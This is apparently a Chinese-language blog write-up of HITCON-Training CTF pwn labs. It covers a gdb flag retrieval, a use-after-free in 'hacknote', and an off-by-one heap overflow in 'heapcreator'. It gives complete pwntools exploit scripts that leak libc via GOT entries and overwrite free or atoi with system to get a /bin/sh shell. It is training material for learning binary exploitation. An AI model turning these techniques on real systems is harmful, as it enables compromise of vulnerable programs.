Contents
  1. 1. lab1
    1. 1.1. 法一
    2. 1.2. 法二
  2. 2. lab10
  3. 3. lab10
    1. 3.1. 0x01分析
      1. 3.1.0.0.1. checksec
      2. 3.1.0.0.2. ida
  • 3.2. 0x02利用思路
  • 3.3. 0x03攻击exp
  • 4. lab13
    1. 4.1. 0x01寻找漏洞
      1. 4.1.0.0.1. checksec
      2. 4.1.0.0.2. ida
  • 4.2. 0x02思路分析
    1. 4.2.1. 法一:修改free到system
    2. 4.2.2. 法二:修改atoi到system
  • 4.3. 0x03利用攻击
    1. 4.3.1.
    2. 4.3.2.
    • 写于19.6.19
      以后应该会继续做..吧..

    lab1

    法一

    通过ida查看get_flag函数。发现是…逆向呀

    是对给定的数据进行for循环得到flag,所以我们需要知道buf为多少使for循环执行。

    在scanf之前下断点,后面比较了ebp-0x80和eax,前者就是buf,后者是我们输入的v2,所以在输入前查看ebp-0x80处的值,就是我们要输入的值喽

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    gdb-peda$ b * 0x08048712
    ···
    gdb-peda$ run
    ···
    gdb-peda$ x/d $ebp-0x80
    0xffffcf78: -509474618
    gdb-peda$ c
    Continuing.
    -509474618
    CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}[Inferior 1 (process 26130) exited normally]

    法二

    第一个想到的就是这个方法,数据已经都给你了,可以自己写脚本逆向一下,有些麻烦我就没写嘿嘿

    lab10

    题目链接及环境设置

    23R3F
    Veritas501
    在以上大佬的博客也学习到了很多,他们也有不同的见解和方法

    lab10

    0x01分析

    checksec
    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/others/hitcon/LAB/lab10$ checksec hacknote
    [*] '/home/kk/Desktop/black/others/hitcon/LAB/lab10/hacknote'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    ida
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    int menu()
    {
    puts("----------------------");
    puts(" HackNote ");
    puts("----------------------");
    puts(" 1. Add note ");
    puts(" 2. Delete note ");
    puts(" 3. Print note ");
    puts(" 4. Exit ");
    puts("----------------------");
    return printf("Your choice :");
    }

    考察堆的uaf漏洞,程序具有增删查的功能

    add_note

    Add

    第一个malloc(8)用来存储函数指针。
    第二个malloc(size)用来存储我们输入的content,且size没有限制。

    del_note

    Delete

    free两个堆块后没有将指针设置为NULL,所以可以Use After Free

    print_note

    Print

    调用函数指针,打印出chunk内容。

    magic

    这道题直接给出了。。。

    cat flag

    0x02利用思路

    新建两个note

    1
    2
    3
    4
    index 0: malloc(8)===>Ⅰ
    malloc(size)===>Ⅱ(随意)
    index 1: malloc(8)===>Ⅲ
    malloc(size)===>Ⅳ(大于fastbin,可以丢出去)

    free时,先free了content再free函数指针。再结合add_note,我们构造时需要chunk的第一块随意,第二块为原来用于存放函数指针的chunk
    这样,先del_note(0) 再del_note(1)时

    1
    2
    3
      fastbin中        |        其他
    Ⅲ:1 的函数指针 | Ⅳ:1的content
    Ⅰ:0 的函数指针 | Ⅱ:0的content

    所以此时再add_note,malloc(8)时会先用Ⅲ(此处存放puts函数指针),malloc(8)(此处为新note的content)用Ⅰ,我们可以填入magic函数,这样print_note(index 0)时,原本要调用的puts函数指针就被替换成了system,这样就可以cat flag啦!

    0x03攻击exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    #!/usr/bin/env python

    from pwn import *

    HOST = " "
    PORT = " "

    context.log_level = "debug"

    # p = remote(HOST, PORT)
    p = process("./hacknote")

    def add_note(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)

    def del_note(index):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(index))

    def print_note(index):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(index))

    magic = 0x08048986
    # system = 0x8048506

    add_note(0x1000,"aaaa") #index 0
    add_note(0x1000,"aaaa") #index 1


    del_note(0)
    del_note(1)

    add_note(8,p32(magic))
    print_note(0)

    p.interactive()

    有人说这道题有问题喔….

    lab13

    0x01寻找漏洞

    程序实现功能:增删查改

    1
    2
    3
    4
    5
    6
    7
    8
    9
    --------------------------------
    Heap Creator
    --------------------------------
    1. Create a Heap
    2. Edit a Heap
    3. Show a Heap
    4. Delete a Heap
    5. Exit
    --------------------------------
    checksec
    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/HITCON-Training/LAB/lab13$ checksec ./heapcreator
    [*] '/home/kk/Desktop/black/HITCON-Training/LAB/lab13/heapcreator'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    ida

    可以看出create_heap中存在结构体,最不好理解的部分,可能就是在chunk的布局上

    1
    2
    3
    4
    5
    struct heaparray
    {
    size;
    content;
    }

    我们通过gdb动调加深理解

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    gdb-peda$ run
    Starting program: /home/kk/Desktop/black/HITCON-Training/LAB/lab13/heapcreator
    --------------------------------
    Heap Creator
    --------------------------------
    1. Create a Heap
    2. Edit a Heap
    3. Show a Heap
    4. Delete a Heap
    5. Exit
    --------------------------------
    Your choice :1
    Size of Heap : 24
    Content of heap:aaaaaaaaaaaaaaaaaaaaaaaa
    SuccessFul
    --------------------------------
    Heap Creator
    --------------------------------
    1. Create a Heap
    2. Edit a Heap
    3. Show a Heap
    4. Delete a Heap
    5. Exit
    --------------------------------
    Your choice :Invalid Choice
    --------------------------------
    Heap Creator
    --------------------------------
    1. Create a Heap
    2. Edit a Heap
    3. Show a Heap
    4. Delete a Heap
    5. Exit
    --------------------------------
    Your choice :1
    Size of Heap : 16
    Content of heap:bbbbbbbbbbbbb
    SuccessFul
    --------------------------------
    Heap Creator
    --------------------------------
    1. Create a Heap
    2. Edit a Heap
    3. Show a Heap
    4. Delete a Heap
    5. Exit
    --------------------------------
    Your choice :1
    Size of Heap : 32
    Content of heap:cccccccccccccccccccccccccccccccc
    SuccessFul
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    gdb-peda$ x/30gx 0x603000
    0x603000: 0x0000000000000000 ==>prev_size 0x0000000000000021 ==>chunk0_size
    0x603010: 0x0000000000000018 ==>size 0x0000000000603030 ==>content ptr
    0x603020: 0x0000000000000000 0x0000000000000021
    0x603030: 0x6161616161616161 0x6161616161616161 ==>content
    0x603040: 0x6161616161616161 ==>prev_size 0x0000000000000021 ==>chunk1_size
    0x603050: 0x0000000000000010 ==>size 0x0000000000603070 ==>content ptr
    0x603060: 0x0000000000000000 0x0000000000000021
    0x603070: 0x6262626262626262 0x00000a6262626262 ==>content
    0x603080: 0x0000000000000000 ==>prev_size 0x0000000000000021 ==>chunk2_size
    0x603090: 0x0000000000000020 ==>size 0x00000000006030b0 ==>content ptr
    0x6030a0: 0x0000000000000000 0x0000000000000031
    0x6030b0: 0x6363636363636363 0x6363636363636363
    0x6030c0: 0x6363636363636363 0x6363636363636363
    0x6030d0: 0x0000000000000000 0x0000000000020f31
    0x6030e0: 0x0000000000000000 0x0000000000000000

    edit_heap函数中存在off by one

    delete_heap函数最后指针清零,所以不存在可利用的uaf漏洞

    0x02思路分析

    法一:修改free到system

    通过利用off by one修改下一个chunk的size,但是只溢出一个字节,显然不能达到下一个chunk的size
    我们想到,64位系统下,如果我们申请的size不满足0x10对齐,如我们设置size为0x18,那么系统实际分配了0x20给程序,多出来的字节,正是复用了下一个chunk的prev_size字段。【因为当前chunk在使用时,下一个chunk的prev_size为0,系统为了节省空间,将它分配给上一个chunk也是十分合理的】

    • 所以我们先申请index = 0的size大小为0x18,申请index = 1的size大小为0x10,则系统会malloc(0x20)
    • 其中”/bin/sh\x00”占八字节,剩下的0x18字节用字符串填充,然后最后的off by one用于设置下一个chunk的size为0x41
    • 删除下标为1的heap,使下次申请时达到chunk overlapping
    • 创建下标为2的heap,使得2的content指针刚好指向chunk1的size,修改content_ptr为free_got,通过show泄露free函数地址,从而得到libc_base和system函数地址
    • 修改free_got为system地址,将”/bin/sh”写入chunk0,free(chunk0)达到getshell

    法二:修改atoi到system

    我们可以发现,程序是通过atoi函数将字符串转化为数字的,我们可以设想通过修改atoisystem,然后将这个buf改为/bin/sh。咦?就可以直接调用啦🤷‍♀️

    1
    2
    3
    printf("Size of Heap : ");
    read(0, &buf, 8uLL);
    size = atoi(&buf);

    0x03利用攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    #!usr/bin/env python
    from pwn import *
    context.log_level = "debug"

    io = process("./heapcreator")
    elf = ELF("./heapcreator")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    def menu(choice):
    io.sendlineafter("choice :", str(choice))

    def create(size, content):
    menu(1)
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)

    def edit(index, new_content):
    menu(2)
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Content of heap : ")
    io.sendline(new_content)

    def show(index):
    menu(3)
    io.recvuntil("Index :")
    io.sendline(str(index))

    def delete(index):
    menu(4)
    io.recvuntil("Index :")
    io.sendline(str(index))


    create(0x18, "a") #0
    create(0x10, "b") #1

    edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
    delete(1)

    # gdb.attach(io)

    free_got = elf.got['free']

    create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got))
    show(1)
    io.recvuntil("Content : ")

    free_addr = u64(io.recvuntil('D')[:-2].ljust(8,'\x00'))
    print "free_addr ==> [%s]"%hex(free_addr)

    libc_base = free_addr - libc.symbols['free']
    print "libc_base ==> [%s]"%hex(libc_base)
    sys_addr = libc_base + libc.symbols['system']
    print "sys_addr ==> [%s]"%hex(sys_addr)

    edit(1, p64(sys_addr))
    delete(0)

    io.interactive()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    #!usr/bin/env python
    from pwn import *
    context.log_level = "debug"

    io = process("./heapcreator")
    elf = ELF("./heapcreator")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    def menu(choice):
    io.sendlineafter("choice :", str(choice))

    def create(size, content):
    menu(1)
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)

    def edit(index, new_content):
    menu(2)
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Content of heap : ")
    io.sendline(new_content)

    def show(index):
    menu(3)
    io.recvuntil("Index :")
    io.sendline(str(index))

    def delete(index):
    menu(4)
    io.recvuntil("Index :")
    io.sendline(str(index))


    create(0x18, "a") #0
    create(0x10, "b") #1

    edit(0, "a" * 0x18 + "\x41")
    delete(1)

    # gdb.attach(io)

    atoi_got = elf.got['atoi']

    create(0x30, p64(0) * 4 + p64(0x30) + p64(atoi_got))
    show(1)
    io.recvuntil("Content : ")

    atoi_addr = u64(io.recvuntil('D')[:-2].ljust(8,'\x00'))
    print "atoi_addr ==> [%s]"%hex(atoi_addr)

    libc_base = atoi_addr - libc.symbols['atoi']
    print "libc_base ==> [%s]"%hex(libc_base)
    sys_addr = libc_base + libc.symbols['system']
    print "sys_addr ==> [%s]"%hex(sys_addr)

    edit(1, p64(sys_addr))
    io.sendline("1")
    io.recvuntil(": ")
    io.sendline("/bin/sh\x00")
    # io.sendline("$0")

    io.interactive()